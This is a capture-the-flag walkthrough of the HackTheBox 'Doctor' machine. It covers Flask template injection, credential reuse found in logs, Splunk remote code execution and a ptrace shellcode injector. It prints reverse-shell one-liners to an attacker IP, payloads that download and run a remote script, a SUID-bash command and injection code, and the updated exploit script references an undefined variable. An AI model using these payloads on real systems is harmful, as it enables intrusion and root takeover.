Doctor HackTheBox Writeup
Doctor is an easy Linux box made by egotisticalSW. First on port 80, a email was found leaking a hostname of a webserver which was vulnerable to Server Side Template Injection and a reverse shell was obtained as user web by exploiting this vulnerability. On the box, the user web was a member of group adm which allowed us to read log files and one had a password for another user shaun. And finally Splunkd running on port 8089 was exploited to get a shell on the box as root. Alternatively SYS_PTRACE Linux Capability on python3.8 was exploited to get a root shell.
Port Scan
local@local:~/Documents/htb/boxes/doctor$ nmap -sC -sV -oA nmap/initial 10.129.11.7
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open ssl/http syn-ack Splunkd httpd
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US/localityName=San Francisco/emailAddress=support@splunk.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-06T15:57:27
| Not valid after: 2023-09-06T15:57:27
| MD5: db23 4e5c 546d 8895 0f5f 8f42 5e90 6787
| SHA-1: 7ec9 1bb7 343f f7f6 bdd7 d015 d720 6f6f 19e2 098b
| -----BEGIN CERTIFICATE-----
| MIIDMjCCAhoCCQC3IKogA4zEAzANBgkqhkiG9w0BAQsFADB/MQswCQYDVQQGEwJV
| UzELMAkGA1UECAwCQ0ExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDzANBgNVBAoM
| BlNwbHVuazEXMBUGA1UEAwwOU3BsdW5rQ29tbW9uQ0ExITAfBgkqhkiG9w0BCQEW
| EnN1cHBvcnRAc3BsdW5rLmNvbTAeFw0yMDA5MDYxNTU3MjdaFw0yMzA5MDYxNTU3
| MjdaMDcxIDAeBgNVBAMMF1NwbHVua1NlcnZlckRlZmF1bHRDZXJ0MRMwEQYDVQQK
| DApTcGx1bmtVc2VyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0JgJ
| NKrC4SrGzEhhyluUIcBW+eD6y+4paEikip5bzO7Xz8+tVJmFBcDfZdkL3TIZFTCF
| 95BMqL4If1SNZlFQxpMZB/9PzCMm0HmhEK/FlHfdrLwaeK71SWeO/MMNtsAheIPA
| pNByri9icp2S9u7wg89g9uHK4ION8uTJMxbmtCRT4jgRcenOZYghvsTEMLPhwlb2
| M/59WRopfyakIEl/w/zF1jCfnrT6XfZtTos6ueet6lhjd8g5WW9ZJIfmjYDaqHPg
| Tg3yLCRjYhLk+2vLyrO23l5kk8H+H4JgIOCqhAw38hC0r+KETsuWCGIxl4rBBDQw
| E5TvP75NsGW2O3JNDQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQBJjjx+KHFwYJei
| lMJlmXBOEs7V1KiAjCenWd0Bz49Bkbik/5Rcia9k44zhANE7pJWNN6gpGJBn7b7D
| rliSOwvVoBICHtWFuQls8bRbMn5Kfdd9G7tGEkKGdvn3jOFkQFSQQQ56Uzh7Lezj
| hjtQ1p1Sg2Vq3lJm70ziOlRa0i/Lk7Ydc3xJ478cjB9nlb15jXmSdZcrCqgsAjBz
| IIDPzC+f7hJYlnFau2OA5uWPX/HIR7JfQsKXWCM6Tx0b9tZKgNNOr+DwyML4CH6o
| qrryh7elUJojAaZ0wYNd5koGZzEH4ymAQoshgFyEgetm1BbzMbA3PfZkX1VR6AV+
| guO5oa9R
|_-----END CERTIFICATE-----
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Flags used in nmap
- -sC for default scripts
- -sV for enumerating version
- -oA for saving output in file initial inside nmap directory in all format
Looking at the results, we have three ports open. SSH is open on port 22 running OpenSSH version 8.2p1. HTTP service is running on port 80 running Apache httpd version 2.4.41 and the banner is telling us that it is a ubuntu box. Another HTTP service is also running on port 8089 which is running Splunkd. As SSH does not have that much of an attack surface, let’s start our enumeration with HTTP service on port 80.
Port 80
And on the same page, we see a email id with a hostname.
Lets add this entry to our /etc/hosts file.
10.10.10.209 doctors.htb htb
Checking doctors.htb
We are presented with a login page. We do not have any credentials at this point, but we can register a new user.
Registering user with username admin
It means the user with admin already exists. Using this technique, we can enumerate potential usernames on this site if needed.
Creating new user
And this time, as there was no user with username admin1, we can successfully register a user with that username.
New message
In the navbar, there is a link to send a new message which let us post the new contents.
Checking the technologies used by webserver using Wappalyzer
The programming language used by the webserver is python and it is hosted using flask, so, the first thing came on my mind was server side template injection.
Template injection
Payload
{{ 1 + 1 }}
If we get 2 in the result that will mean that this expression gets evaluated on the server which means we get code execution.
Creating new post
But we get the payload as it is.
Checking the source of the page
So while I was looking around I found a comment on the source code.
We could have found this by using gobuster or any other directory bruteforcing tools.
Checking /archive
Here we are getting 2 on the title means our code was evaluated on the server, which means we get code execution.
Shell as web
As we have code execution, we have to find a way to get a reverse shell on the box. I have searched and found this post on medium for getting a reverse shell.
Payload Used
[].__class__.__base__.__subclasses__().pop(407)(['wget','10.10.14.18:8000/shell.sh'])
[].__class__.__base__.__subclasses__().pop(407)(['bash','shell.sh'])
Payload Explained
>>> [].__class__
<type 'list'>
This returns the class of a list.
>>> [].__class__.__base__
<type 'object'>
This returns the base class of the list.
>>> [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod
...
This returns all the subclasses of object class. Now from this list we have to find a class with method that helps us to get a reverse shell on the box.
As this is a list we can access a object using [index]
.
[].__class__.__base__.__subclasses__()[10]
So with trial and error, I finally found a class Subprocess.Popen
on index number 407.
>>> [].__class__.__base__.__subclasses__()[407]
<class 'subprocess.Popen'>
As explained on the post on medium that I followed, there were issues with this approach and we were not able to execute commands. So the single class is taken out of the list using pop
.
>>> [].__class__.__base__.__subclasses__()[407]
<class 'subprocess.Popen'>
Final payload
[].__class__.__base__.__subclasses__().pop(407)(['wget','10.10.14.18:8000/shell.sh'])
[].__class__.__base__.__subclasses__().pop(407)(['bash','shell.sh'])
Here first of all we will create a file called shell.sh on our local box with content for reverse shell and we will start a web server on port 8000. Then we will download this shell.sh file on the remote box using wget and we will execute this file. I went this approach because the usual reverse shell payload have a lot of character with symbols like <
>
|
and &
.
Contents of shell.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.141 9001 >/tmp/f
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.141",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.141",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
bash -i >& /dev/tcp/10.10.14.141/9001 0>&1
I like to use multiple reverse shell payloads.
Listening on my box on 9001
local@local:~/Documents/htb/boxes/doctor$ nc -nvlp 9001
Listening on [0.0.0.0] (family 2, port 9001)
Listening on 0.0.0.0 9001
Python server on Port 8000
local@local:~/Documents/htb/boxes/doctor$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Updating previous post with new payload
And when we make a request to /archive, we get a request on our python server on port 8000 for shell.sh file.
local@local:~/Documents/htb/boxes/doctor$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.19.165 - - [28/Sep/2020 23:16:29] "GET /shell.sh HTTP/1.1" 200 -
It worked. Now we just have to execute the file.
Executing shell.sh
And now when we make a request on /archive, we get a connection back on netcat listening on port 9001.
local@local:~/Documents/htb/boxes/doctor$ nc -nvlp 9001
Listening on [0.0.0.0] (family 2, port 9001)
Listening on 0.0.0.0 9001
Connection received on 10.129.19.165 55244
/bin/sh: 0: can't access tty; job control turned off
$
Upgrading the shell
$ python3 -c "import pty;pty.spawn('/bin/bash')"
Hit CTRL + z
to background the process.
On local box
local@local:~/Documents/htb/boxes/doctor$ stty raw -echo
Type fg
to foreground the process and hit enter twice.
On reverse shell
web@doctor:~$ export TERM=xterm
Now we get a proper shell with autocompletion.
Privilege Escalation
Checking the groups of user web
web@doctor:~$ groups
web adm
Our current user is in adm
group which means we can read few extra log files.
Extracting the content from log files containing word password
web@doctor:/var/log$ grep -Ri password 2>/dev/null
auth.log:Sep 22 13:01:23 doctor sshd[1704]: Failed password for invalid user shaun from 10.10.14.2 port 40896 ssh2
auth.log:Sep 22 13:01:28 doctor sshd[1704]: Failed password for invalid user shaun from 10.10.14.2 port 40896 ssh2
auth.log:Sep 28 11:11:56 doctor VGAuth[687]: vmtoolsd: Username and password successfully validated for 'root'.
auth.log:Sep 28 11:11:56 doctor VGAuth[687]: message repeated 2 times: [ vmtoolsd: Username and password successfully validated for 'root'.]
auth.log:Sep 28 11:12:01 doctor VGAuth[687]: vmtoolsd: Username and password successfully validated for 'root'.
auth.log:Sep 28 11:12:09 doctor VGAuth[687]: message repeated 20 times: [ vmtoolsd: Username and password successfully validated for 'root'.]
auth.log.1:Sep 14 10:13:48 doctor sshd[1457]: Failed password for shaun from 10.10.14.4 port 36940 ssh2
auth.log.1:Sep 14 10:13:55 doctor sshd[1457]: Failed password for shaun from 10.10.14.4 port 36940 ssh2
auth.log.1:Sep 14 10:19:27 doctor passwd[1690]: pam_unix(passwd:chauthtok): password changed for shaun
auth.log.1:Sep 14 10:19:27 doctor passwd[1690]: gkr-pam: couldn't update the login keyring password: no old password was entered
auth.log.1:Sep 15 11:57:05 doctor sudo: pam_unix(sudo:auth): auth could not identify password for [shaun]
auth.log.1:Sep 15 12:04:32 doctor sudo: pam_unix(sudo:auth): auth could not identify password for [shaun]
auth.log.1:Sep 15 12:04:34 doctor sudo: pam_unix(sudo:auth): auth could not identify password for [shaun]
auth.log.1:Sep 15 12:41:30 doctor sudo: pam_unix(sudo:auth): auth could not identify password for [web]
syslog.1:Sep 23 11:34:12 doctor kernel: [ 6.426178] systemd[1]: Started Forward Password Requests to Wall Directory Watch.
syslog.1:Sep 23 11:34:12 doctor systemd[1]: Condition check resulted in Dispatch Password Requests to Console Directory Watch being skipped.
syslog.1:Sep 23 11:34:12 doctor systemd[1]: Started Forward Password Requests to Plymouth Directory Watch.
syslog.1:Sep 23 11:52:43 doctor systemd[1]: Condition check resulted in Dispatch Password Requests to Console Directory Watch being skipped.
syslog.1:Sep 23 11:52:43 doctor systemd[1]: Started Forward Password Requests to Plymouth Directory Watch.
syslog.1:Sep 23 11:52:43 doctor kernel: [ 6.464159] systemd[1]: Started Forward Password Requests to Wall Directory Watch.
syslog.1:Sep 23 14:47:41 doctor systemd[1]: Condition check resulted in Dispatch Password Requests to Console Directory Watch being skipped.
syslog.1:Sep 23 14:47:41 doctor systemd[1]: Started Forward Password Requests to Plymouth Directory Watch.
syslog.1:Sep 23 14:47:41 doctor kernel: [ 6.237032] systemd[1]: Started Forward Password Requests to Wall Directory Watch.
syslog.1:Sep 23 15:16:40 doctor systemd[1]: Condition check resulted in Dispatch Password Requests to Console Directory Watch being skipped.
syslog.1:Sep 23 15:16:40 doctor systemd[1]: Started Forward Password Requests to Plymouth Directory Watch.
syslog.1:Sep 23 15:16:40 doctor kernel: [ 6.134633] systemd[1]: Started Forward Password Requests to Wall Directory Watch.
syslog.1:Sep 23 15:48:10 doctor systemd[1]: Condition check resulted in Dispatch Password Requests to Console Directory Watch being skipped.
syslog.1:Sep 23 15:48:10 doctor systemd[1]: Started Forward Password Requests to Plymouth Directory Watch.
syslog.1:Sep 23 15:48:10 doctor kernel: [ 4.007137] systemd[1]: Started Forward Password Requests to Wall Directory Watch.
syslog.1:Sep 28 11:11:42 doctor systemd[1]: Condition check resulted in Dispatch Password Requests to Console Directory Watch being skipped.
syslog.1:Sep 28 11:11:42 doctor systemd[1]: Started Forward Password Requests to Plymouth Directory Watch.
syslog.1:Sep 28 11:11:42 doctor kernel: [ 3.085739] systemd[1]: Started Forward Password Requests to Wall Directory Watch.
apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
Binary file journal/62307f5876ce4bdeb1a4be33bebfb978/system.journal matches
Binary file journal/62307f5876ce4bdeb1a4be33bebfb978/user-1001@8612c285930942bc8295a5e5404c6fb7-000000000000d0e1-0005ae7b997ca2d8.journal matches
Binary file journal/62307f5876ce4bdeb1a4be33bebfb978/system@68325fc054024f8aac6fcf2ce991a876-000000000000cf5a-0005ae7b98c1acfe.journal matches
Binary file journal/62307f5876ce4bdeb1a4be33bebfb978/system@68325fc054024f8aac6fcf2ce991a876-0000000000003ac7-0005ab70dc697773.journal matches
Binary file journal/62307f5876ce4bdeb1a4be33bebfb978/user-1002@84e1503b20fd49eca2b6ca0b7d6fdeeb-00000000000176d6-0005af5694057aa6.journal matches
dmesg:[ 3.085739] systemd[1]: Started Forward Password Requests to Wall Directory Watch.
dmesg.0:[ 4.007137] systemd[1]: Started Forward Password Requests to Wall Directory Watch.
And there was one particular entry for reseting the password which I found interesting.
apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
Listing the home directory
web@doctor:/var/log$ ls /home
shaun web
As credential reuse is very common, I tried to login to shaun’s account with that password.
web@doctor:/var/log$ su shaun
Password:
shaun@doctor:/var/log$
And we are on the box as user shaun.
Reading user.txt
shaun@doctor:~$ ls
user.txt
shaun@doctor:~$ cat user.txt
5160************************5fa
Privilege Escalation to root
There was another port 8089 that was open which was running splunkd from our nmap scan.
Port 8089
It was running splunkd
with build no 8.0.5
. So I checked online if there were any publicly available exploits for splunkd and I found an amazing article but the only problem is that it was authenticated RCE.
Checking /service
At first I tried common passwords like admin:admin
, admin:password
. Searching on the web, I found that default password for splunk is admin:changeme
, but this also did not log me in.
And thinking credential reusing is a very common thing, so I tried to login as shaun:Guitar123
.
And we get in. Now we just have to run the exploit.
Downloading exploit to my local box
local@local:~/Documents/htb/boxes/doctor$ wget https://raw.githubusercontent.com/cnotin/SplunkWhisperer2/master/PySplunkWhisperer2/PySplunkWhisperer2_remote.py
--2020-09-28 23:36:09-- https://raw.githubusercontent.com/cnotin/SplunkWhisperer2/master/PySplunkWhisperer2/PySplunkWhisperer2_remote.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.192.133, 151.101.128.133, 151.101.64.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.192.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5077 (5.0K) [text/plain]
Saving to: ‘PySplunkWhisperer2_remote.py’
PySplunkWhisperer2_remote.py 100%[===========================================================================================>] 4.96K --.-KB/s in 0.001s
2020-09-28 23:36:09 (9.17 MB/s) - ‘PySplunkWhisperer2_remote.py’ saved [5077/5077]
Running the exploit
local@local:~/Documents/htb/boxes/doctor$ python PySplunkWhisperer2_remote.py --host 10.129.19.165 --port 8089 --username shaun --password Guitar123 --payload "touch /dev/shm/exploit" --lhost 10.10.14.141
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpLziy1A.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.14.141:8181/
10.129.19.165 - - [28/Sep/2020 23:37:22] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!
Press RETURN to cleanup
It looked like the exploit worked.
Checking /dev/shm for new file
shaun@doctor:~$ ls -la /dev/shm
total 0
drwxrwxrwt 2 root root 60 Sep 28 19:52 .
drwxr-xr-x 18 root root 4000 Sep 28 11:11 ..
-rw------- 1 root root 0 Sep 28 19:52 exploit
shaun@doctor:~$
The file a file with filename exploit is created in /dev/shm as root. So the exploit clearly works.
Getting a shell as root
local@local:~/Documents/htb/boxes/doctor$ python PySplunkWhisperer2_remote.py --host 10.129.19.165 --port 8089 --username shaun --password Guitar123 --payload "cp /bin/bash /tmp/bash && chmod 4777 /tmp/bash" --lhost 10.10.14.141
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpYeO1dV.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.14.141:8181/
10.129.19.165 - - [28/Sep/2020 23:40:03] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!
Press RETURN to cleanup
Here I copied the usual /bin/bash binary to /tmp/bash and changed the file permission to 4777, which means that it can be executed by everyone on the box and when executed it will be executed as root as the SUID bit is enabled on the binary.
Checking /tmp
shaun@doctor:~$ ls -la /tmp/bash
-rwsrwxrwx 1 root root 1183448 Sep 28 19:55 /tmp/bash
The file is created and if we look at the files permissions, the SUID bit is enabled too.
Getting root shell
shaun@doctor:~$ /tmp/bash -p
bash-5.0# id
uid=1002(shaun) gid=1002(shaun) euid=0(root) groups=1002(shaun)
bash-5.0#
And we are root at the effective id euid is equal to 0.
Reading root flag
bash-5.0# cd /root
bash-5.0# ls
root.txt
bash-5.0# cat root.txt
4f86************************4bce
Unintentional way
Listing all linux Capabilities
shaun@doctor:/dev/shm$ getcap -r / 2>/dev/null
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/python3.8 = cap_sys_ptrace+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
One particular entry that interested me was /usr/bin/python3.8
having cap_sys_ptrace+ep
capability. And I searched around to find if this condition is exploitable to get a root shell and found this amazing article which exploited similar condition to get a root shell and the exploit was available for python2.7. The only thing we have to do is to convert this code so that we can run this exploit using python3.
Contents of exploit.py
# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
This exploit creates a bind shell on port 5600.
Modifying the exploit to get the final value
>>> import ctypes
>>> import sys
>>> import struct
>>> shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
>>>
>>> final = []
>>> for i in xrange(0,len(shellcode),4):
...
... # Convert the byte to little endian.
... shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
... shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
... shellcode_byte=int(shellcode_byte_little_endian,16)
... final.append(shellcode_byte)
...
>>> final
[1220555080, 826855985, 1791426550, 40523817, 1208291167, 1711434391, 35931335, 1582620693, 1479633490, 257560682, 845831685, 1778716504, 84891691, 57317192, 2966355806, 1963265825, 1390868472, 1647295304, 791637609, 1213425779, 2955164813, 331579]
Now we just have to put this value to our new exploit.py.
Updated exploit.py
import ctypes
import sys
import struct
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# CHANGED FROM HERE
# Previously obtained value
final = [1220555080, 826855985, 1791426550, 40523817, 1208291167, 1711434391, 35931335, 1582620693, 1479633490, 257560682, 845831685, 1778716504, 84891691, 57317192, 2966355806, 1963265825, 1390868472, 1647295304, 791637609, 1213425779, 2955164813, 331579]
# Inject the shellcode into the running process byte by byte.
j = 0
for i in range(0,len(shellcode),4):
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),val[j])
j +=1
# CHANGED UPTO HERE
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
Now we need a process running as root.
Listing Processes
shaun@doctor:/home$ ps -ef | grep -i apache
root 16034 1 0 10:36 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 16047 16034 0 10:37 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 16048 16034 0 10:37 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 16049 16034 0 10:37 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 16050 16034 0 10:37 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 16051 16034 0 10:37 ? 00:00:00 /usr/sbin/apache2 -k start
shaun 16057 16036 0 10:37 pts/0 00:00:00 grep --color=auto -i apache
Apache with pid 16034 is running as root.
Running the exploit
shaun@doctor:/dev/shm$ python3.8 exploit.py 16034
Instruction Pointer: 0x7faa72081f4a
Injecting Shellcode at: 0x7faa72081f4a
Shellcode Injected!!
Final Instruction Pointer: 0x7faa72081f4c
It looked like it ran successfully.
Checking for open ports
shaun@doctor:/dev/shm$ ss -lt | grep 5600
LISTEN 0 0 0.0.0.0:5600 0.0.0.0:*
We have a port listening on 5600. Lets connect on the port using nc.
Getting a root shell
shaun@doctor:/dev/shm$ nc 127.0.0.1 5600
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
And we get a root shell.